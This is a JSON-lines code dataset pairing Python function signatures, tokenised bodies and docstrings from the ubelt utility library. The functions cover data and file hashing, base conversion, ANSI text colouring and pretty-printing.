{"signature": "def _convert_hexstr_base(hexstr, base):", "body": "if base is _ALPHABET_16:<EOL><INDENT>return hexstr<EOL><DEDENT>baselen = len(base)<EOL>x = int(hexstr, <NUM_LIT:16>)  <EOL>if x == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:0>'<EOL><DEDENT>sign = <NUM_LIT:1> if x > <NUM_LIT:0> else -<NUM_LIT:1><EOL>x *= sign<EOL>digits = []<EOL>while x:<EOL><INDENT>digits.append(base[x % baselen])<EOL>x //= baselen<EOL><DEDENT>if sign < <NUM_LIT:0>:<EOL><INDENT>digits.append('<STR_LIT:->')<EOL><DEDENT>digits.reverse()<EOL>newbase_str = '<STR_LIT>'.join(digits)<EOL>return newbase_str<EOL>", "docstring": "r\"\"\"\n    Packs a long hexstr into a shorter length string with a larger base.\n\n    Args:\n        hexstr (str): string of hexidecimal symbols to convert\n        base (list): symbols of the conversion base\n\n    Example:\n        >>> print(_convert_hexstr_base('ffffffff', _ALPHABET_26))\n        nxmrlxv\n        >>> print(_convert_hexstr_base('0', _ALPHABET_26))\n        0\n        >>> print(_convert_hexstr_base('-ffffffff', _ALPHABET_26))\n        -nxmrlxv\n        >>> print(_convert_hexstr_base('aafffff1', _ALPHABET_16))\n        aafffff1\n\n    Sympy:\n        >>> import sympy as sy\n        >>> # Determine the length savings with lossless conversion\n        >>> consts = dict(hexbase=16, hexlen=256, baselen=27)\n        >>> symbols = sy.symbols('hexbase, hexlen, baselen, newlen')\n        >>> haexbase, hexlen, baselen, newlen = symbols\n        >>> eqn = sy.Eq(16 ** hexlen,  baselen ** newlen)\n        >>> newlen_ans = sy.solve(eqn, newlen)[0].subs(consts).evalf()\n        >>> print('newlen_ans = %r' % (newlen_ans,))\n        >>> # for a 26 char base we can get 216\n        >>> print('Required length for lossless conversion len2 = %r' % (len2,))\n        >>> def info(base, len):\n        ...     bits = base ** len\n        ...     print('base = %r' % (base,))\n        ...     print('len = %r' % (len,))\n        ...     print('bits = %r' % (bits,))\n        >>> info(16, 256)\n        >>> info(27, 16)\n        >>> info(27, 64)\n        >>> info(27, 216)", "id": "f5122:m6"}
{"signature": "def _digest_hasher(hasher, hashlen, base):", "body": "<EOL>hex_text = hasher.hexdigest()<EOL>base_text = _convert_hexstr_base(hex_text, base)<EOL>text = base_text[:hashlen]<EOL>return text<EOL>", "docstring": "counterpart to _update_hasher", "id": "f5122:m7"}
{"signature": "def hash_data(data, hasher=NoParam, base=NoParam, types=False,<EOL>hashlen=NoParam, convert=False):", "body": "if convert and isinstance(data, six.string_types):  <EOL><INDENT>try:<EOL><INDENT>data = json.dumps(data)<EOL><DEDENT>except TypeError as ex:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>base = _rectify_base(base)<EOL>hashlen = _rectify_hashlen(hashlen)<EOL>hasher = _rectify_hasher(hasher)()<EOL>_update_hasher(hasher, data, types=types)<EOL>text = _digest_hasher(hasher, hashlen, base)<EOL>return text<EOL>", "docstring": "Get a unique hash depending on the state of the data.\n\nArgs:\n    data (object):\n        Any sort of loosely organized data\n\n    hasher (str or HASHER):\n        Hash algorithm from hashlib, defaults to `sha512`.\n\n    base (str or List[str]):\n        Shorthand key or a list of symbols.  Valid keys are: 'abc', 'hex',\n        and 'dec'. Defaults to 'hex'.\n\n    types (bool):\n        If True data types are included in the hash, otherwise only the raw\n        data is hashed. Defaults to False.\n\n    hashlen (int):\n        Maximum number of symbols in the returned hash. If not specified,\n        all are returned.  DEPRECATED. Use slice syntax instead.\n\n    convert (bool, optional, default=True):\n        if True, try and convert the data to json an the json is hashed\n        instead. This can improve runtime in some instances, however the\n        hash may differ from the case where convert=False.\n\nNotes:\n    alphabet26 is a pretty nice base, I recommend it.\n    However we default to hex because it is standard.\n    This means the output of hashdata with base=sha1 will be the same as\n    the output of `sha1sum`.\n\nReturns:\n    str: text -  hash string\n\nExample:\n    >>> import ubelt as ub\n    >>> print(ub.hash_data([1, 2, (3, '4')], convert=False))\n    60b758587f599663931057e6ebdf185a...\n    >>> print(ub.hash_data([1, 2, (3, '4')], base='abc',  hasher='sha512')[:32])\n    hsrgqvfiuxvvhcdnypivhhthmrolkzej", "id": "f5122:m8"}
{"signature": "def hash_file(fpath, blocksize=<NUM_LIT>, stride=<NUM_LIT:1>, hasher=NoParam,<EOL>hashlen=NoParam, base=NoParam):", "body": "base = _rectify_base(base)<EOL>hashlen = _rectify_hashlen(hashlen)<EOL>hasher = _rectify_hasher(hasher)()<EOL>with open(fpath, '<STR_LIT:rb>') as file:<EOL><INDENT>buf = file.read(blocksize)<EOL>if stride > <NUM_LIT:1>:<EOL><INDENT>while len(buf) > <NUM_LIT:0>:<EOL><INDENT>hasher.update(buf)<EOL>file.seek(blocksize * (stride - <NUM_LIT:1>), <NUM_LIT:1>)<EOL>buf = file.read(blocksize)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while len(buf) > <NUM_LIT:0>:<EOL><INDENT>hasher.update(buf)<EOL>buf = file.read(blocksize)<EOL><DEDENT><DEDENT><DEDENT>text = _digest_hasher(hasher, hashlen, base)<EOL>return text<EOL>", "docstring": "Hashes the data in a file on disk.\n\nArgs:\n    fpath (PathLike):  file path string\n\n    blocksize (int): 2 ** 16. Affects speed of reading file\n\n    stride (int): strides > 1 skip data to hash, useful for faster\n                  hashing, but less accurate, also makes hash dependant on\n                  blocksize.\n\n    hasher (HASH): hash algorithm from hashlib, defaults to `sha512`.\n\n    hashlen (int): maximum number of symbols in the returned hash. If\n        not specified, all are returned.\n\n    base (list, str): list of symbols or shorthand key. Valid keys are\n        'abc', 'hex', and 'dec'. Defaults to 'hex'.\n\nNotes:\n    For better hashes keep stride = 1\n    For faster hashes set stride > 1\n    blocksize matters when stride > 1\n\nReferences:\n    http://stackoverflow.com/questions/3431825/md5-checksum-of-a-file\n    http://stackoverflow.com/questions/5001893/when-to-use-sha-1-vs-sha-2\n\nExample:\n    >>> import ubelt as ub\n    >>> from os.path import join\n    >>> fpath = join(ub.ensure_app_cache_dir('ubelt'), 'tmp.txt')\n    >>> ub.writeto(fpath, 'foobar')\n    >>> print(ub.hash_file(fpath, hasher='sha1', base='hex'))\n    8843d7f92416211de9ebb963ff4ce28125932878\n\nExample:\n    >>> import ubelt as ub\n    >>> from os.path import join\n    >>> fpath = ub.touch(join(ub.ensure_app_cache_dir('ubelt'), 'empty_file'))\n    >>> # Test that the output is the same as sha1sum\n    >>> if ub.find_exe('sha1sum'):\n    >>>     want = ub.cmd(['sha1sum', fpath], verbose=2)['out'].split(' ')[0]\n    >>>     got = ub.hash_file(fpath, hasher='sha1')\n    >>>     print('want = {!r}'.format(want))\n    >>>     print('got = {!r}'.format(got))\n    >>>     assert want.endswith(got)\n    >>> # Do the same for sha512 sum and md5sum\n    >>> if ub.find_exe('sha512sum'):\n    >>>     want = ub.cmd(['sha512sum', fpath], verbose=2)['out'].split(' ')[0]\n    >>>     got = ub.hash_file(fpath, hasher='sha512')\n    >>>     print('want = {!r}'.format(want))\n    >>>     print('got = {!r}'.format(got))\n    >>>     assert want.endswith(got)\n    >>> if ub.find_exe('md5sum'):\n    >>>     want = ub.cmd(['md5sum', fpath], verbose=2)['out'].split(' ')[0]\n    >>>     got = ub.hash_file(fpath, hasher='md5')\n    >>>     print('want = {!r}'.format(want))\n    >>>     print('got = {!r}'.format(got))\n    >>>     assert want.endswith(got)", "id": "f5122:m9"}
{"signature": "def register(self, hash_types):", "body": "<EOL>if not isinstance(hash_types, (list, tuple)):<EOL><INDENT>hash_types = [hash_types]<EOL><DEDENT>def _decor_closure(hash_func):<EOL><INDENT>for hash_type in hash_types:<EOL><INDENT>key = (hash_type.__module__, hash_type.__name__)<EOL>self.keyed_extensions[key] = (hash_type, hash_func)<EOL><DEDENT>return hash_func<EOL><DEDENT>return _decor_closure<EOL>", "docstring": "Registers a function to generate a hash for data of the appropriate\ntypes. This can be used to register custom classes. Internally this is\nused to define how to hash non-builtin objects like ndarrays and uuids.\n\nThe registered function should return a tuple of bytes. First a small\nprefix hinting at the data type, and second the raw bytes that can be\nhashed.\n\nArgs:\n    hash_types (class or tuple of classes):\n\nReturns:\n    func: closure to be used as the decorator\n\nExample:\n    >>> # xdoctest: +SKIP\n    >>> # Skip this doctest because we dont want tests to modify\n    >>> # the global state.\n    >>> import ubelt as ub\n    >>> import pytest\n    >>> class MyType(object):\n    ...     def __init__(self, id):\n    ...         self.id = id\n    >>> data = MyType(1)\n    >>> # Custom types wont work with ub.hash_data by default\n    >>> with pytest.raises(TypeError):\n    ...     ub.hash_data(data)\n    >>> # You can register your functions with ubelt's internal\n    >>> # hashable_extension registery.\n    >>> @ub.util_hash._HASHABLE_EXTENSIONS.register(MyType)\n    >>> def hash_my_type(data):\n    ...     return b'mytype', six.b(ub.hash_data(data.id))\n    >>> # TODO: allow hash_data to take an new instance of\n    >>> # HashableExtensions, so we dont have to modify the global\n    >>> # ubelt state when we run tests.\n    >>> my_instance = MyType(1)\n    >>> ub.hash_data(my_instance)", "id": "f5122:c0:m1"}
{"signature": "def add_iterable_check(self, func):", "body": "self.iterable_checks.append(func)<EOL>return func<EOL>", "docstring": "Registers a function that detects when a type is iterable", "id": "f5122:c0:m2"}
{"signature": "def lookup(self, data):", "body": "<EOL>query_hash_type = data.__class__<EOL>key = (query_hash_type.__module__, query_hash_type.__name__)<EOL>try:<EOL><INDENT>hash_type, hash_func = self.keyed_extensions[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise TypeError('<STR_LIT>' % (<EOL>query_hash_type))<EOL><DEDENT>return hash_func<EOL>", "docstring": "Returns an appropriate function to hash `data` if one has been\nregistered.\n\nRaises:\n    TypeError : if data has no registered hash methods\n\nExample:\n    >>> import ubelt as ub\n    >>> import pytest\n    >>> if not ub.modname_to_modpath('numpy'):\n    ...     raise pytest.skip('numpy is optional')\n    >>> self = HashableExtensions()\n    >>> self._register_numpy_extensions()\n    >>> self._register_builtin_class_extensions()\n\n    >>> import numpy as np\n    >>> data = np.array([1, 2, 3])\n    >>> self.lookup(data[0])\n\n    >>> class Foo(object):\n    >>>     def __init__(f):\n    >>>         f.attr = 1\n    >>> data = Foo()\n    >>> assert pytest.raises(TypeError, self.lookup, data)\n\n    >>> # If ub.hash_data doesnt support your object,\n    >>> # then you can register it.\n    >>> @self.register(Foo)\n    >>> def _hashfoo(data):\n    >>>     return b'FOO', data.attr\n    >>> func = self.lookup(data)\n    >>> assert func(data)[1] == 1\n\n    >>> data = uuid.uuid4()\n    >>> self.lookup(data)", "id": "f5122:c0:m3"}
{"signature": "def _register_numpy_extensions(self):", "body": "<EOL>import numpy as np<EOL>numpy_floating_types = (np.float16, np.float32, np.float64)<EOL>if hasattr(np, '<STR_LIT>'):  <EOL><INDENT>numpy_floating_types = numpy_floating_types + (np.float128,)<EOL><DEDENT>@self.add_iterable_check<EOL>def is_object_ndarray(data):<EOL><INDENT>return isinstance(data, np.ndarray) and data.dtype.kind == '<STR_LIT:O>'<EOL><DEDENT>@self.register(np.ndarray)<EOL>def hash_numpy_array(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if data.dtype.kind == '<STR_LIT:O>':<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise TypeError(msg)<EOL><DEDENT>else:<EOL><INDENT>header = b'<STR_LIT>'.join(_hashable_sequence((len(data.shape), data.shape)))<EOL>dtype = b'<STR_LIT>'.join(_hashable_sequence(data.dtype.descr))<EOL>hashable = header + dtype + data.tobytes()<EOL><DEDENT>prefix = b'<STR_LIT>'<EOL>return prefix, hashable<EOL><DEDENT>@self.register((np.int64, np.int32, np.int16, np.int8) +<EOL>(np.uint64, np.uint32, np.uint16, np.uint8))<EOL>def _hash_numpy_int(data):<EOL><INDENT>return _convert_to_hashable(int(data))<EOL><DEDENT>@self.register(numpy_floating_types)<EOL>def _hash_numpy_float(data):<EOL><INDENT>return _convert_to_hashable(float(data))<EOL><DEDENT>@self.register(np.random.RandomState)<EOL>def _hash_numpy_random_state(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>hashable = b'<STR_LIT>'.join(_hashable_sequence(data.get_state()))<EOL>prefix = b'<STR_LIT>'<EOL>return prefix, hashable<EOL><DEDENT>", "docstring": "Numpy extensions are builtin", "id": "f5122:c0:m4"}
{"signature": "def _register_builtin_class_extensions(self):", "body": "@self.register(uuid.UUID)<EOL>def _hash_uuid(data):<EOL><INDENT>hashable = data.bytes<EOL>prefix = b'<STR_LIT>'<EOL>return prefix, hashable<EOL><DEDENT>@self.register(OrderedDict)<EOL>def _hash_ordered_dict(data):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>hashable = b'<STR_LIT>'.join(_hashable_sequence(list(data.items())))<EOL>prefix = b'<STR_LIT>'<EOL>return prefix, hashable<EOL><DEDENT>", "docstring": "Register hashing extensions for a selection of classes included in\npython stdlib.\n\nExample:\n    >>> data = uuid.UUID('7e9d206b-dc02-4240-8bdb-fffe858121d0')\n    >>> print(hash_data(data, base='abc', hasher='sha512', types=True)[0:8])\n    cryarepd\n    >>> data = OrderedDict([('a', 1), ('b', 2), ('c', [1, 2, 3]),\n    >>>                     (4, OrderedDict())])\n    >>> print(hash_data(data, base='abc', hasher='sha512', types=True)[0:8])\n    qjspicvv\n\n    gpxtclct", "id": "f5122:c0:m5"}
{"signature": "def highlight_code(text, lexer_name='<STR_LIT>', **kwargs):", "body": "<EOL>lexer_name = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:h>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:c>': '<STR_LIT>',<EOL>}.get(lexer_name.replace('<STR_LIT:.>', '<STR_LIT>'), lexer_name)<EOL>try:<EOL><INDENT>import pygments<EOL>import pygments.lexers<EOL>import pygments.formatters<EOL>import pygments.formatters.terminal<EOL>if sys.platform.startswith('<STR_LIT:win32>'):  <EOL><INDENT>import colorama<EOL>colorama.init()<EOL><DEDENT>formater = pygments.formatters.terminal.TerminalFormatter(bg='<STR_LIT>')<EOL>lexer = pygments.lexers.get_lexer_by_name(lexer_name, **kwargs)<EOL>new_text = pygments.highlight(text, lexer, formater)<EOL><DEDENT>except ImportError:  <EOL><INDENT>import warnings<EOL>warnings.warn('<STR_LIT>')<EOL>new_text = text<EOL><DEDENT>return new_text<EOL>", "docstring": "Highlights a block of text using ANSI tags based on language syntax.\n\nArgs:\n    text (str): plain text to highlight\n    lexer_name (str): name of language\n    **kwargs: passed to pygments.lexers.get_lexer_by_name\n\nReturns:\n    str: text : highlighted text\n        If pygments is not installed, the plain text is returned.\n\nCommandLine:\n    python -c \"import pygments.formatters; print(list(pygments.formatters.get_all_formatters()))\"\n\nExample:\n    >>> import ubelt as ub\n    >>> text = 'import ubelt as ub; print(ub)'\n    >>> new_text = ub.highlight_code(text)\n    >>> print(new_text)", "id": "f5123:m0"}
{"signature": "def color_text(text, color):", "body": "if color is None:<EOL><INDENT>return text<EOL><DEDENT>try:<EOL><INDENT>import pygments<EOL>import pygments.console<EOL>if sys.platform.startswith('<STR_LIT:win32>'):  <EOL><INDENT>import colorama<EOL>colorama.init()<EOL><DEDENT>ansi_text = pygments.console.colorize(color, text)<EOL>return ansi_text<EOL><DEDENT>except ImportError:  <EOL><INDENT>import warnings<EOL>warnings.warn('<STR_LIT>')<EOL>return text<EOL><DEDENT>", "docstring": "r\"\"\"\n    Colorizes text a single color using ansii tags.\n\n    Args:\n        text (str): text to colorize\n        color (str): may be one of the following: yellow, blink, lightgray,\n            underline, darkyellow, blue, darkblue, faint, fuchsia, black,\n            white, red, brown, turquoise, bold, darkred, darkgreen, reset,\n            standout, darkteal, darkgray, overline, purple, green, teal, fuscia\n\n    Returns:\n        str: text : colorized text.\n            If pygments is not installed plain text is returned.\n\n    CommandLine:\n        python -c \"import pygments.console; print(sorted(pygments.console.codes.keys()))\"\n        python -m ubelt.util_colors color_text\n\n    Example:\n        >>> text = 'raw text'\n        >>> import pytest\n        >>> import ubelt as ub\n        >>> if ub.modname_to_modpath('pygments'):\n        >>>     # Colors text only if pygments is installed\n        >>>     assert color_text(text, 'red') == '\\x1b[31;01mraw text\\x1b[39;49;00m'\n        >>>     assert color_text(text, None) == 'raw text'\n        >>> else:\n        >>>     # Otherwise text passes through unchanged\n        >>>     assert color_text(text, 'red') == 'raw text'\n        >>>     assert color_text(text, None) == 'raw text'", "id": "f5123:m1"}
{"signature": "def indent(text, prefix='<STR_LIT:U+0020>'):", "body": "return prefix + text.replace('<STR_LIT:\\n>', '<STR_LIT:\\n>' + prefix)<EOL>", "docstring": "Indents a block of text\n\nArgs:\n    text (str): text to indent\n    prefix (str): prefix to add to each line (default = '    ')\n\nReturns:\n    str: indented text\n\nCommandLine:\n    python -m util_str indent\n\nExample:\n    >>> from ubelt.util_str import *  # NOQA\n    >>> NL = chr(10)  # newline character\n    >>> text = 'Lorem ipsum' + NL + 'dolor sit amet'\n    >>> prefix = '    '\n    >>> result = indent(text, prefix)\n    >>> assert all(t.startswith(prefix) for t in result.split(NL))", "id": "f5124:m0"}
{"signature": "def codeblock(block_str):", "body": "import textwrap  <EOL>return textwrap.dedent(block_str).strip('<STR_LIT:\\n>')<EOL>", "docstring": "Wraps multiline string blocks and returns unindented code.\nUseful for templated code defined in indented parts of code.\n\nArgs:\n    block_str (str): typically in the form of a multiline string\n\nReturns:\n    str: the unindented string\n\nCommandLine:\n    python -m ubelt.util_str codeblock\n\nExample:\n    >>> from ubelt.util_str import *  # NOQA\n    >>> # Simulate an indented part of code\n    >>> if True:\n    >>>     # notice the indentation on this will be normal\n    >>>     codeblock_version = codeblock(\n    ...             '''\n    ...             def foo():\n    ...                 return 'bar'\n    ...             '''\n    ...         )\n    >>>     # notice the indentation and newlines on this will be odd\n    >>>     normal_version = ('''\n    ...         def foo():\n    ...             return 'bar'\n    ...     ''')\n    >>> assert normal_version != codeblock_version\n    >>> print('Without codeblock')\n    >>> print(normal_version)\n    >>> print('With codeblock')\n    >>> print(codeblock_version)", "id": "f5124:m1"}
{"signature": "def hzcat(args, sep='<STR_LIT>'):", "body": "import unicodedata<EOL>if '<STR_LIT:\\n>' in sep or '<STR_LIT:\\r>' in sep:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>args = [unicodedata.normalize('<STR_LIT>', ensure_unicode(val)) for val in args]<EOL>arglines = [a.split('<STR_LIT:\\n>') for a in args]<EOL>height = max(map(len, arglines))<EOL>arglines = [lines + ['<STR_LIT>'] * (height - len(lines)) for lines in arglines]<EOL>all_lines = ['<STR_LIT>' for _ in range(height)]<EOL>width = <NUM_LIT:0><EOL>n_args = len(args)<EOL>for sx, lines in enumerate(arglines):<EOL><INDENT>for lx, line in enumerate(lines):<EOL><INDENT>all_lines[lx] += line<EOL><DEDENT>width = max(width, max(map(len, all_lines)))<EOL>if sx < n_args - <NUM_LIT:1>:<EOL><INDENT>for lx, line in list(enumerate(all_lines)):<EOL><INDENT>residual = width - len(line)<EOL>all_lines[lx] = line + ('<STR_LIT:U+0020>' * residual) + sep<EOL><DEDENT>width += len(sep)<EOL><DEDENT><DEDENT>all_lines = [line.rstrip('<STR_LIT:U+0020>') for line in all_lines]<EOL>ret = '<STR_LIT:\\n>'.join(all_lines)<EOL>return ret<EOL>", "docstring": "Horizontally concatenates strings preserving indentation\n\nConcatenates a list of objects ensuring that the next item in the list is\nall the way to the right of any previous items.\n\nArgs:\n    args (List[str]): strings to concatenate\n    sep (str): separator (defaults to '')\n\nCommandLine:\n    python -m ubelt.util_str hzcat\n\nExample1:\n    >>> import ubelt as ub\n    >>> B = ub.repr2([[1, 2], [3, 457]], nl=1, cbr=True, trailsep=False)\n    >>> C = ub.repr2([[5, 6], [7, 8]], nl=1, cbr=True, trailsep=False)\n    >>> args = ['A = ', B, ' * ', C]\n    >>> print(ub.hzcat(args))\n    A = [[1, 2],   * [[5, 6],\n         [3, 457]]    [7, 8]]\n\nExample2:\n    >>> from ubelt.util_str import *\n    >>> import ubelt as ub\n    >>> import unicodedata\n    >>> aa = unicodedata.normalize('NFD', '\u00e1')  # a unicode char with len2\n    >>> B = ub.repr2([['\u03b8', aa], [aa, aa, aa]], nl=1, si=True, cbr=True, trailsep=False)\n    >>> C = ub.repr2([[5, 6], [7, '\u03b8']], nl=1, si=True, cbr=True, trailsep=False)\n    >>> args = ['A', '=', B, '*', C]\n    >>> print(ub.hzcat(args, sep='\uff5c'))\n    A\uff5c=\uff5c[[\u03b8, \u00e1],   \uff5c*\uff5c[[5, 6],\n     \uff5c \uff5c [\u00e1, \u00e1, \u00e1]]\uff5c \uff5c [7, \u03b8]]", "id": "f5124:m2"}
{"signature": "def ensure_unicode(text):", "body": "if isinstance(text, six.text_type):<EOL><INDENT>return text<EOL><DEDENT>elif isinstance(text, six.binary_type):<EOL><INDENT>return text.decode('<STR_LIT:utf8>')<EOL><DEDENT>else:  <EOL><INDENT>raise ValueError('<STR_LIT>'.format(text))<EOL><DEDENT>", "docstring": "r\"\"\"\n    Casts bytes into utf8 (mostly for python2 compatibility)\n\n    References:\n        http://stackoverflow.com/questions/12561063/extract-data-from-file\n\n    Example:\n        >>> from ubelt.util_str import *\n        >>> import codecs  # NOQA\n        >>> assert ensure_unicode('my \u00fcnic\u00f4d\u00e9 str\u012fng') == 'my \u00fcnic\u00f4d\u00e9 str\u012fng'\n        >>> assert ensure_unicode('text1') == 'text1'\n        >>> assert ensure_unicode('text1'.encode('utf8')) == 'text1'\n        >>> assert ensure_unicode('\u00ef\u00bb\u00bftext1'.encode('utf8')) == '\u00ef\u00bb\u00bftext1'\n        >>> assert (codecs.BOM_UTF8 + 'text\u00bb\u00bf'.encode('utf8')).decode('utf8')", "id": "f5124:m3"}
{"signature": "def repr2(data, **kwargs):", "body": "custom_extensions = kwargs.get('<STR_LIT>', None)<EOL>_return_info = kwargs.get('<STR_LIT>', False)<EOL>kwargs['<STR_LIT>'] = _rectify_root_info(kwargs.get('<STR_LIT>', None))<EOL>outstr = None<EOL>_leaf_info = None<EOL>if custom_extensions:<EOL><INDENT>func = custom_extensions.lookup(data)<EOL>if func is not None:<EOL><INDENT>outstr = func(data, **kwargs)<EOL><DEDENT><DEDENT>if outstr is None:<EOL><INDENT>if isinstance(data, dict):<EOL><INDENT>outstr, _leaf_info = _format_dict(data, **kwargs)<EOL><DEDENT>elif isinstance(data, (list, tuple, set, frozenset)):<EOL><INDENT>outstr, _leaf_info = _format_list(data, **kwargs)<EOL><DEDENT><DEDENT>if outstr is None:<EOL><INDENT>func = _FORMATTER_EXTENSIONS.lookup(data)<EOL>if func is not None:<EOL><INDENT>outstr = func(data, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>outstr = _format_object(data, **kwargs)<EOL><DEDENT><DEDENT>if _return_info:<EOL><INDENT>_leaf_info = _rectify_leaf_info(_leaf_info)<EOL>return outstr, _leaf_info<EOL><DEDENT>else:<EOL><INDENT>return outstr<EOL><DEDENT>", "docstring": "Makes a pretty and easy-to-doctest string representation!\n\nThis is an alternative to repr, and `pprint.pformat` that attempts to be\nboth more configurable and generate output that is consistent between\npython versions.\n\nNotes:\n    This function has many keyword arguments that can be used to customize\n    the final representation. For convinience some of the more frequently\n    used kwargs have short aliases. See `Args` for more details.\n\nArgs:\n    data (object): an arbitrary python object\n    **kwargs: see `the Kwargs` section\n\nKwargs:\n    si, stritems, (bool):\n        dict/list items use str instead of repr\n\n    strkeys, sk (bool):\n        dict keys use str instead of repr\n\n    strvals, sv (bool):\n        dict values use str instead of repr\n\n    nl, newlines (int | bool):\n        number of top level nestings to place a newline after. If true all\n        items are followed by newlines regardless of nesting level.\n        Defaults to 1 for lists and True for dicts.\n\n    nobr, nobraces (bool, default=False):\n        if True, text will not contain outer braces for containers\n\n    cbr, compact_brace (bool, default=False):\n        if True, braces are compactified (i.e. they will not have newlines\n        placed directly after them, think java / K&R / 1TBS)\n\n    trailsep, trailing_sep (bool):\n        if True, a separator is placed after the last item in a sequence.\n        By default this is True if there are any `nl > 0`.\n\n    explicit (bool, default=False):\n        changes dict representation from `{k1: v1, ...}` to\n        `dict(k1=v1, ...)`.\n\n    precision (int, default=None):\n        if specified floats are formatted with this precision\n\n    kvsep (str, default=': '):\n        separator between keys and values\n\n    itemsep (str, default=' '):\n        separator between items\n\n    sort (bool):\n        if True, attempts to sort all unordered collections in the returned\n        text. NOTE: currently if True this will sort lists, this may not be\n        a correct thing to do, as such the behavior of this arg is subject\n        to change.\n\n    suppress_small (bool):\n        passed to `numpy.array2string` for ndarrays\n\n    max_line_width (int):\n        passed to `numpy.array2string` for ndarrays\n\n    with_dtype (bool):\n        only relevant to ndarrays. if True includes the dtype.\n\nReturns:\n    str: outstr: output string\n\nNotes:\n    There are also internal kwargs, which should not be used:\n        _return_info (bool):  return information about child context\n        _root_info (depth): information about parent context\n\nCommandLine:\n    python -m ubelt.util_format repr2:0\n    python -m ubelt.util_format repr2:1\n\nExample:\n    >>> from ubelt.util_format import *\n    >>> import ubelt as ub\n    >>> dict_ = {\n    ...     'custom_types': [slice(0, 1, None), 1/3],\n    ...     'nest_dict': {'k1': [1, 2, {3: {4, 5}}],\n    ...                   'key2': [1, 2, {3: {4, 5}}],\n    ...                   'key3': [1, 2, {3: {4, 5}}],\n    ...                   },\n    ...     'nest_dict2': {'k': [1, 2, {3: {4, 5}}]},\n    ...     'nested_tuples': [tuple([1]), tuple([2, 3]), frozenset([4, 5, 6])],\n    ...     'one_tup': tuple([1]),\n    ...     'simple_dict': {'spam': 'eggs', 'ham': 'jam'},\n    ...     'simple_list': [1, 2, 'red', 'blue'],\n    ...     'odict': ub.odict([(1, '1'), (2, '2')]),\n    ... }\n    >>> result = repr2(dict_, nl=3, precision=2); print(result)\n    >>> result = repr2(dict_, nl=2, precision=2); print(result)\n    >>> result = repr2(dict_, nl=1, precision=2); print(result)\n    >>> result = repr2(dict_, nl=1, precision=2, itemsep='', explicit=True); print(result)\n    >>> result = repr2(dict_, nl=1, precision=2, nobr=1, itemsep='', explicit=True); print(result)\n    >>> result = repr2(dict_, nl=3, precision=2, cbr=True); print(result)\n    >>> result = repr2(dict_, nl=3, precision=2, si=True); print(result)\n    >>> result = repr2(dict_, nl=3, sort=True); print(result)\n    >>> result = repr2(dict_, nl=3, sort=False, trailing_sep=False); print(result)\n    >>> result = repr2(dict_, nl=3, sort=False, trailing_sep=False, nobr=True); print(result)\n\nExample:\n    >>> from ubelt.util_format import *\n    >>> def _nest(d, w):\n    ...     if d == 0:\n    ...         return {}\n    ...     else:\n    ...         return {'n{}'.format(d): _nest(d - 1, w + 1), 'm{}'.format(d): _nest(d - 1, w + 1)}\n    >>> dict_ = _nest(d=4, w=1)\n    >>> result = repr2(dict_, nl=6, precision=2, cbr=1)\n    >>> print('---')\n    >>> print(result)\n    >>> result = repr2(dict_, nl=-1, precision=2)\n    >>> print('---')\n    >>> print(result)", "id": "f5126:m0"}
{"signature": "def _format_list(list_, **kwargs):", "body": "kwargs['<STR_LIT>'] = _rectify_root_info(kwargs.get('<STR_LIT>', None))<EOL>kwargs['<STR_LIT>']['<STR_LIT>'] += <NUM_LIT:1><EOL>newlines = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', <NUM_LIT:1>))<EOL>kwargs['<STR_LIT>'] = _rectify_countdown_or_bool(newlines)<EOL>nobraces = kwargs.pop('<STR_LIT>', kwargs.pop('<STR_LIT>', False))<EOL>itemsep = kwargs.get('<STR_LIT>', '<STR_LIT:U+0020>')<EOL>compact_brace = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', False))<EOL>itemstrs, _leaf_info = _list_itemstrs(list_, **kwargs)<EOL>if len(itemstrs) == <NUM_LIT:0>:<EOL><INDENT>nobraces = False  <EOL><DEDENT>is_tuple = isinstance(list_, tuple)<EOL>is_set = isinstance(list_, (set, frozenset,))<EOL>if nobraces:<EOL><INDENT>lbr, rbr = '<STR_LIT>', '<STR_LIT>'<EOL><DEDENT>elif is_tuple:<EOL><INDENT>lbr, rbr  = '<STR_LIT:(>', '<STR_LIT:)>'<EOL><DEDENT>elif is_set:<EOL><INDENT>lbr, rbr  = '<STR_LIT:{>', '<STR_LIT:}>'<EOL><DEDENT>else:<EOL><INDENT>lbr, rbr  = '<STR_LIT:[>', '<STR_LIT:]>'<EOL><DEDENT>trailing_sep = kwargs.get('<STR_LIT>', kwargs.get('<STR_LIT>', newlines > <NUM_LIT:0> and len(itemstrs)))<EOL>if is_tuple and len(list_) <= <NUM_LIT:1>:<EOL><INDENT>trailing_sep = True<EOL><DEDENT>if len(itemstrs) == <NUM_LIT:0>:<EOL><INDENT>newlines = False<EOL><DEDENT>retstr = _join_itemstrs(itemstrs, itemsep, newlines, _leaf_info, nobraces,<EOL>trailing_sep, compact_brace, lbr, rbr)<EOL>return retstr, _leaf_info<EOL>", "docstring": "Makes a pretty printable / human-readable string representation of a\nsequence. In most cases this string could be evaled.\n\nArgs:\n    list_ (list): input list\n    **kwargs: nl, newlines, packed, nobr, nobraces, itemsep, trailing_sep,\n        strvals indent_, precision, use_numpy, with_dtype, force_dtype,\n        stritems, strkeys, explicit, sort, key_order, maxlen\n\nReturns:\n    Tuple[str, Dict] : retstr, _leaf_info\n\nExample:\n    >>> print(_format_list([])[0])\n    []\n    >>> print(_format_list([], nobr=True)[0])\n    []\n    >>> print(_format_list([1], nl=0)[0])\n    [1]\n    >>> print(_format_list([1], nobr=True)[0])\n    1,", "id": "f5126:m5"}
